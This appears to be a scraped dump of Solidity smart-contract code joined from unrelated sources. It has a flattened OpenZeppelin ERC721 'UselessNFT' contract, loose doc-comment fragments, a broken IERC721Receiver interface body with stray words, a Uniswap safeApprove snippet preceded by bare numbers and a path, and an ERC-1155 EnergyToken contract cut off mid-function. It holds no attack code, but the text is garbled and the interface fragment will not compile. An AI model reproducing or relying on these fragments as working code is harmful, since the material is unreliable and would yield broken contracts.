`to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts\openzeppelin-solidity\contracts\token\ERC721\extensions\IERC721Enumerable.sol /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: contracts\openzeppelin-solidity\contracts\token\ERC721\extensions\ERC721Enumerable.sol /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note th at * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allow s for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost ofadding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts\openzeppelin-solidity\contracts\access\Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts\ContentMixin.sol abstract contract ContextMixin { function msgSender() internal view returns (address payable sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = payable(msg.sender); } return sender; } } // File: contracts\Initializable.sol contract Initializable { bool inited = false; modifier initializer() { require(!inited, "already inited"); _; inited = true; } } // File: contracts\EIP712Base.sol contract EIP712Base is Initializable { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } string constant public ERC712_VERSION = "1"; bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ) ); bytes32 internal domainSeperator; // supposed to be called once while initializing. // one of the contracts that inherits this contract follows proxy pattern // so it is not possible to do this in a constructor function _initializeEIP712( string memory name ) internal initializer { _setDomainSeperator(name); } function _setDomainSeperator(string memory name) internal { domainSeperator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(ERC712_VERSION)), address(this), bytes32(getChainId()) ) ); } function getDomainSeperator() public view returns (bytes32) { return domainSeperator; } function getChainId() public view returns (uint256) { uint256 id; assembly { id := chainid() } return id; } /** * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\\x19" makes the encoding deterministic * "\\x01" is the version byte to make it compatible to EIP-191 */ function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash) ); } } // File: contracts\NativeMetaTransaction.sol //import {SafeMath} from "openzeppelin-solidity/contracts/utils/math/SafeMath.sol"; contract NativeMetaTransaction is EIP712Base { using SafeMath for uint256; bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256( bytes( "MetaTransaction(uint256 nonce,address from,bytes functionSignature)" ) ); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) nonces; /* * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay fo r gas * He should call the desired function directly in that case. */ struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } function executeMetaTransaction( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) public payable returns (bytes memory) { MetaTransaction memory metaTx = MetaTransaction({ nonce: nonces[userAddress], from: userAddress, functionSignature: functionSignature }); require( verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match" ); // increase nonce for user (to avoid re-use) nonces[userAddress] = nonces[userAddress].add(1); emit MetaTransactionExecuted( userAddress, payable(msg.sender), functionSignature ); // Append userAddress and relayer address at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) public view returns (uint256 nonce) { nonce = nonces[user]; } function verify( address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns (bool) { require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER"); return signer == ecrecover( toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS ); } } // File: contracts\ERC721Tradable.sol //import "./SafeMath.sol"; contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /** * @title ERC721Tradable * ERC721Tradable - ERC721 contract that whitelists a trading address, and has minting functionality. */ abstract contract ERC721Tradable is ContextMixin, ERC721Enumerable, NativeMetaTransaction, Ownable { using SafeMath for uint256; address proxyRegistryAddress; uint256 private _currentTokenId = 0; constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress ) ERC721(_name, _symbol) { proxyRegistryAddress = _proxyRegistryAddress; _initializeEIP712(_name); } /** * @dev Mints a token to an address with a tokenURI. * @param _to address of the future owner of the token */ function mintTo(address _to) public onlyOwner { uint256 newTokenId = _getNextTokenId(); _mint(_to, newTokenId); _incrementTokenId(); } /** * @dev calculates the next token ID based on value of _currentTokenId * @return uint256 for the next token ID */ function _getNextTokenId() private view returns (uint256) { return _currentTokenId.add(1); } /** * @dev increments the value of _currentTokenId */ function _incrementTokenId() private { _currentTokenId++; } function baseTokenURI() virtual public pure returns (string memory); function tokenURI(uint256 _tokenId) override public pure returns (string memory) { return string(abi.encodePacked(baseTokenURI(), Strings.toString(_tokenId))); } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) override public view returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } /** * This is used instead of msg.sender as transactions won't be sent by the original token owner, but by Open Sea. */ function _msgSender() internal override view returns (address sender) { return ContextMixin.msgSender(); } } /*************************************/ /******* Operative Contract ********/ /*************************************/ // File: contracts\uselessnfts.sol /** * @title UselessNFTs Contract * UselessNFTs - a contract for my non-functional tokens. An unexpected product of TechnicalRise. */ contract UselessNFT is ERC721Tradable { constructor(address _proxyRegistryAddress) ERC721Tradable("UselessNFT", "OSC", _proxyRegistryAddress) {} function baseTokenURI() override public pure returns (string memory) { return "https://uselessnfts.com/uselessmetadata/"; } function contractURI() public pure returns (string memory) { return "https://uselessnfts.com/uselesscontract/"; } }
Emits a {Transfer} event./ Transfers `tokenId` token from `from` to `to`. WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. Requirements: - `from` cannot be the zero address. - `to` cannot be the zero address. - `tokenId` token must be owned by `from`. - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApproval Emits a {Transfer} event./ Gives permission to `to` to transfer `tokenId` token to another account. The approval is cleared when the token is transferred. Only a single account can be approved at a time, so approving the zero address clears previous approvals. Requirements: - The caller must own the token or be an approved operator. - `tokenId` must exist. Emits an {Approval} event./ Returns the account approved for `tokenId` token. Requirements: - `tokenId` must exist./ Approve or remove `operator` as an operator for the caller. Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. Requirements: - The `operator` cannot be the caller. Emits an {ApprovalForAll} event./ Returns if the `operator` is allowed to manage all of the assets of `owner`. See {setApprovalForAll}/ Safely transfers `tokenId` token from `from` to `to`. Requirements: - `from` cannot be the zero address. - `to` cannot be the zero address. - `tokenId` token must exist and be owned by `from`. - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApproval - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is call Emits a {Transfer} event./ File: contracts\openzeppelin-solidity\contracts\token\ERC721\IERC721Receiver.sol ERC721 token receiver interface Interface for any contract that wants to support safeTransfers from ERC721 asset contracts./
interface IERC721Receiver { reverted. function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); tApprovalForAll}. ed upon a safe transfer. }
345,026
./full_match/5/0xfcF9e23BE81A83d6691E3A483679E847eb789d9A/sources/UniswapV2Router02.sol
bytes4(keccak256(bytes('approve(address,uint256)')));
function safeApprove(address token, address to, uint value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); }
1,930,008
pragma solidity ^0.8.1; import "./Commons.sol"; import "./IdentityContractFactory.sol"; import "./ClaimVerifier.sol"; import "./IEnergyToken.sol"; import "./EnergyTokenLib.sol"; import "./../dependencies/erc-1155/contracts/ERC1155.sol"; import "./IERC165.sol"; contract EnergyToken is ERC1155, IEnergyToken, IERC165 { using Address for address; enum PlantType {Generation, Consumption} event EnergyDocumented(PlantType plantType, uint256 value, address indexed plant, bool corrected, uint64 indexed balancePeriod, address indexed meteringAuthority); event ForwardsCreated(TokenKind tokenKind, uint64 balancePeriod, Distributor distributor, uint256 id); // id => whetherCreated mapping (uint256 => bool) createdGenerationBasedForwards; IdentityContract public marketAuthority; mapping(address => mapping(uint64 => EnergyTokenLib.EnergyDocumentation)) public energyDocumentations; mapping(uint64 => mapping(address => uint256)) public energyConsumedRelevantForGenerationPlant; mapping(uint64 => mapping(address => address[])) relevantGenerationPlantsForConsumptionPlant; mapping(uint64 => mapping(address => uint256)) public numberOfRelevantConsumptionPlantsUnmeasuredForGenerationPlant; mapping(uint64 => mapping(address => uint256)) public numberOfRelevantConsumptionPlantsForGenerationPlant; mapping(uint256 => Distributor) public id2Distributor; mapping(uint64 => mapping(address => EnergyTokenLib.ForwardKindOfGenerationPlant)) forwardKindOfGenerationPlant; bool reentrancyLock; modifier noReentrancy { require(!reentrancyLock); reentrancyLock = true; _; reentrancyLock = false; } modifier onlyMeteringAuthorities { require(ClaimVerifier.getClaimOfType(marketAuthority, msg.sender, "", ClaimCommons.ClaimType.IsMeteringAuthority) != 0, "Invalid IsMeteringAuthority claim."); _; } modifier onlyGenerationPlants(address _plant, uint64 _balancePeriod) { string memory realWorldPlantId = ClaimVerifier.getRealWorldPlantId(marketAuthority, _plant); require(ClaimVerifier.getClaimOfType(marketAuthority, _plant, realWorldPlantId, ClaimCommons.ClaimType.BalanceClaim, _balancePeriod) != 0, "Invalid BalanceClaim."); require(ClaimVerifier.getClaimOfTypeWithMatchingField(marketAuthority, _plant, realWorldPlantId, ClaimCommons.ClaimType.ExistenceClaim, "type", "generation", _balancePeriod) != 0, "Invalid ExistenceClaim."); require(ClaimVerifier.getClaimOfType(marketAuthority, _plant, realWorldPlantId, ClaimCommons.ClaimType.MaxPowerGenerationClaim, _balancePeriod) != 0, "Invalid MaxPowerGenerationClaim."); require(ClaimVerifier.getClaimOfType(marketAuthority, _plant, realWorldPlantId, ClaimCommons.ClaimType.MeteringClaim, _balancePeriod) != 0, "Invalid MeteringClaim."); _; } constructor(IdentityContract _marketAuthority) { marketAuthority = _marketAuthority; } // IERC165 interface signature = '0x01ffc9a7' // IERC1155 interface signature = '0xd9b67a26' // IEnergyToken interface signature = '0x32d9bb6a' function supportsInterface(bytes4 interfaceID) override(IERC165, ERC1155) external view returns (bool) { return interfaceID == IERC165.supportsInterface.selector || interfaceID == ERC1155.safeTransferFrom.selector ^ ERC1155.safeBatchTransferFrom.selector ^ ERC1155.balanceOf.selector ^ ERC1155.balanceOfBatch.selector ^ ERC1155.setApprovalForAll.selector ^ ERC1155.isApprovedForAll.selector || interfaceID == IEnergyToken.decimals.selector ^ IEnergyToken.mint.selector ^ IEnergyToken.createForwards.selector ^ IEnergyToken.addMeasuredEnergyConsumption.selector ^ IEnergyToken.addMeasuredEnergyGeneration.selector ^ IEnergyToken.safeTransferFrom.selector ^ IEnergyToken.safeBatchTransferFrom.selector ^ IEnergyToken.getTokenId.selector ^ IEnergyToken.getTokenIdConstituents.selector ^ IEnergyToken.tokenKind2Number.selector ^ IEnergyToken.number2TokenKind.selector; } function decimals() external override(IEnergyToken) pure returns (uint8) { return 18; } function mint(uint256 _id, address[] calldata _to, uint256[] calldata _quantities) external override(IEnergyToken) noReentrancy { address payable generationPlantP; string memory realWorldPlantId; { // Block for avoiding stack too deep error. // Token needs to be mintable. (TokenKind tokenKind, uint64 balancePeriod, address generationPlant) = EnergyTokenLib.getTokenIdConstituents(_id); generationPlantP = payable(generationPlant); require(tokenKind == TokenKind.AbsoluteForward || tokenKind == TokenKind.ConsumptionBasedForward, "tokenKind cannot be minted."); // msg.sender needs to be allowed to mint. require(msg.sender == generationPlant, "msg.sender needs to be allowed to mint."); // Forwards can only be minted prior to their balance period. require(balancePeriod > Commons.getBalancePeriod(marketAuthority.balancePeriodLength(), block.timestamp), "Wrong balance period."); // Forwards must have been created. require(id2Distributor[_id] != Distributor(address(0)), "Forwards not created."); realWorldPlantId = ClaimVerifier.getRealWorldPlantId(marketAuthority, generationPlantP); require(ClaimVerifier.getClaimOfTypeWithMatchingField(marketAuthority, generationPlant, realWorldPlantId, ClaimCommons.ClaimType.ExistenceClaim, "type", "generation", Commons.getBalancePeriod(marketAuthority.balancePeriodLength(), block.timestamp)) != 0, "Invalid ExistenceClaim."); require(ClaimVerifier.getClaimOfType(marketAuthority, generationPlant, realWorldPlantId, ClaimCommons.ClaimType.MaxPowerGenerationClaim) != 0, "Invalid MaxPowerGenerationClaim."); EnergyTokenLib.checkClaimsForTransferSending(marketAuthority, id2Distributor, generationPlantP, realWorldPlantId, _id); } for (uint256 i = 0; i < _to.length; ++i) { address to = _to[i]; uint256 quantity = _quantities[i]; require(to != address(0x0), "_to must be non-zero."); if(to != msg.sender) { EnergyTokenLib.checkClaimsForTransferReception(marketAuthority, id2Distributor, payable(to), ClaimVerifier.getRealWorldPlantId(marketAuthority, to), _id); } // Grant the items to the caller. mint(to, _id, quantity); // In the case of absolute forwards, require that the increased supply is not above the plant's capability. require(supply[_id] * (1000 * 3600) <= EnergyTokenLib.getPlantGenerationCapability(marketAuthority, generationPlantP, realWorldPlantId) * marketAuthority.balancePeriodLength() * 10**18, "Plant's capability exceeded."); // Emit the Transfer/Mint event. // the 0x0 source address implies a mint // It will also provide the circulating supply info. emit TransferSingle(msg.sender, address(0x0), to, _id, quantity); if(to != msg.sender) { _doSafeTransferAcceptanceCheck(msg.sender, msg.sender, to, _id, quantity, ''); } { // Block for avoiding stack too deep error. (TokenKind tokenKind, uint64 balancePeriod, address generationPlant) = EnergyTokenLib.getTokenIdConstituents(_id); if(tokenKind == TokenKind.ConsumptionBasedForward) addPlantRelationship(generationPlant, _to[i], balancePeriod); } } } // A reentrancy lock is not needed for this function because it does not call a different contract. // The recipient always is msg.sender. Therefore, _doSafeTransferAcceptanceCheck() is not called. function createForwards(uint64 _balancePeriod, TokenKind _tokenKind, Distributor _distributor) external override(IEnergyToken) onlyGenerationPlants(msg.sender, _balancePeriod) { require(_tokenKind != TokenKind.Certificate, "_tokenKind cannot be Certificate."); require(_balancePeriod > Commons.getBalancePeriod(marketAuthority.balancePeriodLength(), block.timestamp)); uint256 id = EnergyTokenLib.getTokenId(_tokenKind, _balancePeriod, msg.sender); EnergyTokenLib.setId2Distributor(id2Distributor, id, _distributor); EnergyTokenLib.setForwardKindOfGenerationPlant(forwardKindOfGenerationPlant, _balancePeriod, msg.sender, _tokenKind); emit ForwardsCreated(_tokenKind, _balancePeriod, _distributor, id); if(_tokenKind == TokenKind.GenerationBasedForward) { require(!createdGenerationBasedForwards[id], "Forwards already been created."); createdGenerationBasedForwards[id] = true; uint256 value = 100E18; mint(msg.sender, id, value); emit TransferSingle(msg.sender, address(0x0), msg.sender, id, value); } } function addMeasuredEnergyConsumption(address _plant, uint256 _value, uint64 _balancePeriod) external override(IEnergyToken) onlyMeteringAuthorities { bool corrected = false; // Recognize corrected energy documentations. if(energyDocumentations[_plant][_balancePeriod].entered) { corrected = true; } else { address[] storage affectedGenerationPlants = relevantGenerationPlantsForConsumptionPlant[_balancePeriod][_plant]; for(uint32 i = 0; i < affectedGenerationPlants.length; i++) { energyConsumedRelevantForGenerationPlant[_balancePeriod][affectedGenerationPlants[i]] += _value; numberOfRelevantConsumptionPlantsUnmeasuredForGenerationPlant[_balancePeriod][affectedGenerationPlants[i]]--; } } addMeasuredEnergyConsumption_capabilityCheck(_plant, _value); energyDocumentations[_plant][_balancePeriod] = EnergyTokenLib.EnergyDocumentation(IdentityContract(msg.sender), _value, corrected, false, true); emit EnergyDocumented(PlantType.Consumption, _value, _plant, corrected, _balancePeriod, msg.sender); } function addMeasuredEnergyGeneration(address _plant, uint256 _value, uint64 _balancePeriod) external override(IEnergyToken) onlyMeteringAuthorities onlyGenerationPlants(_plant, Commons.getBalancePeriod(marketAuthority.balancePeriodLength(), block.timestamp)) noReentrancy { bool corrected = false; // Recognize corrected energy documentations. if(energyDocumentations[_plant][_balancePeriod].entered) { corrected = true; } // Don't allow documentation of a reading above capability. addMeasuredEnergyGeneration_capabilityCheck(_plant, _value); EnergyTokenLib.EnergyDocumentation memory energyDocumentation = EnergyTokenLib.EnergyDocumentation(IdentityContract(msg.sender), _value, corrected, true, true); energyDocumentations[_plant][_balancePeriod] = energyDocumentation; // Mint certificates unless correcting. if(!corrected) { EnergyTokenLib.ForwardKindOfGenerationPlant memory forwardKind = forwardKindOfGenerationPlant[_balancePeriod][_plant]; uint256 certificateId = EnergyTokenLib.getTokenId(TokenKind.Certificate, _balancePeriod, _plant); // If the forwards were not created, send the certificates to the generation plant. Otherwise, send them to the distributor of the forwards. address certificateReceiver; if(!forwardKind.set) { certificateReceiver = _plant; } else { uint256 forwardId = EnergyTokenLib.getTokenId(forwardKind.forwardKind, _balancePeriod, _plant); Distributor distributor = id2Distributor[forwardId]; certificateReceiver = address(distributor); } mint(certificateReceiver, certificateId, _value); // Emit the Transfer/Mint event. // the 0x0 source address implies a mint // It will also provide the circulating supply info. emit TransferSingle(msg.sender, address(0x0), certificateReceiver, certificateId, _value); _doSafeTransferAcceptanceCheck(msg.sender, msg.sender, certificateReceiver, certificateId, _value, ''); } emit EnergyDocumented(PlantType.Generation, _value, _plant, corrected, _balancePeriod, msg.sender); } function addMeasuredEnergyGeneration_capabilityCheck(address _plant, uint256 _value) internal view { // [maxGen] = W // [_value] = kWh / 1e18 = 1000 * 3600 / 1e18 * W * s // [balancePeriodLength] = s string memory realWorldPlantId = ClaimVerifier.getRealWorldPlantId(marketAuthority, _plant); uint256 maxGen = EnergyTokenLib.getPlantGenerationCapability(marketAuthority, _plant, realWorldPlantId); require(_value * 1000 * 3600 <= maxGen * marketAuthority.balancePeriodLength() * 10**18, "Plant's capability exceeded."); } function addMeasuredEnergyConsumption_capabilityCheck(address _plant, uint256 _value) internal view { // [maxCon] = W // [_value] = kWh / 1e18 = 1000 * 3600 / 1e18 * W * s // [balancePeriodLength] = s string memory realWorldPlantId = ClaimVerifier.getRealWorldPlantId(marketAuthority, _plant); uint256 maxCon = EnergyTokenLib.getPlantConsumptionCapability(marketAuthority, _plant, realWorldPlantId); // Only check if max consumption capability is known if (maxCon != 0) require(_value * 1000 * 3600 <= maxCon * marketAuthority.balancePeriodLength() * 10**18, "Plant's capability exceeded."); } // ######################## // # Overridden ERC-1155 functions // ######################## function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) override(ERC1155, IEnergyToken) external noReentrancy { (TokenKind tokenKind, uint64 balancePeriod, address generationPlant) = EnergyTokenLib.getTokenIdConstituents(_id); if(tokenKind != TokenKind.Certificate) require(balancePeriod > Commons.getBalancePeriod(marketAuthority.balancePeriodLength(), block.timestamp), "balancePeriod must be in the future."); if(tokenKind == TokenKind.ConsumptionBasedForward) addPlantRelationship(generationPlant, _to, balancePeriod); checkClaimsForTransferAllIncluded(_from, _to, _id); // ######################## // ERC1155.safeTransferFrom(_from, _to, _id, _value, _data); // ######################## require(_from == msg.sender || operatorApproval[_from][msg.sender] == true, "Need operator approval."); // SafeMath will throw with insuficient funds _from // or if _id is not valid (balance will be 0) balances[_id][_from] -= _value; balances[_id][_to] += _value; // MUST emit event emit TransferSingle(msg.sender, _from, _to, _id, _value); // Now that the balance is updated and the event was emitted, // call onERC1155Received if the destination is a contract. if (_to.isContract()) { _doSafeTransferAcceptanceCheck(msg.sender, _from, _to, _id, _value, _data); } } function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) override(ERC1155, IEnergyToken) external noReentrancy { uint64 currentBalancePeriod = Commons.getBalancePeriod(marketAuthority.balancePeriodLength(), block.timestamp); for (uint256 i = 0; i < _ids.length; ++i) { (TokenKind tokenKind, uint64 balancePeriod, address generationPlant) = EnergyTokenLib.getTokenIdConstituents(_ids[i]); if(tokenKind != TokenKind.Certificate) { require(balancePeriod > currentBalancePeriod, "balancePeriod must be in the future."); } if(tokenKind == TokenKind.ConsumptionBasedForward) addPlantRelationship(generationPlant, _to, balancePeriod); checkClaimsForTransferAllIncluded(_from, _to, _ids[i]); } // ######################## // ERC1155.safeBatchTransferFrom(_from, _to, _ids, _values, _data); // ######################## // MUST Throw on errors require(_ids.length == _values.length, "_ids and _values array lenght must match."); require(_from == msg.sender || operatorApproval[_from][msg.sender] == true, "Need operator approval for 3rd party transfers."); for (uint256 i = 0; i < _ids.length; ++i) { uint256 id = _ids[i]; uint256 value = _values[i]; // SafeMath will throw with insuficient funds _from // or if _id is not valid (balance will be 0) balances[id][_from] -= value; balances[id][_to] += value; } // Note: instead of the below batch versions of event and acceptance check you MAY have emitted a TransferSingle // event and a subsequent call to _doSafeTransferAcceptanceCheck in above loop for each balance change instead. // Or emitted a TransferSingle event for each in the loop and then the single _doSafeBatchTransferAcceptanceCheck below. // However it is implemented the balance changes and events MUST match when a check (i.e. calling an external contract) is done. // MUST emit event emit TransferBatch(msg.sender, _from, _to, _ids, _values); // Now that the balances are updated and the events are emitted, // call onERC1155BatchReceived if the destination is a contract. if (_to.isContract()) { _doSafeBatchTransferAcceptanceCheck(msg.sender, _from, _to, _ids, _values, _data); } } function checkClaimsForTransferAllIncluded(address _from, address _to, uint256 _id) internal view { // This needs to be checked here because otherwise distributors would need real world plant IDs // as without them, getting the real world plant ID to pass on to checkClaimsForTransferSending // and checkClaimsForTransferReception would cause a revert. (TokenKind tokenKind, ,) = EnergyTokenLib.getTokenIdConstituents(_id); if(tokenKind == TokenKind.Certificate) { return; } string memory realWorldPlantIdFrom = ClaimVerifier.getRealWorldPlantId(marketAuthority, _from); string memory realWorldPlantIdTo = 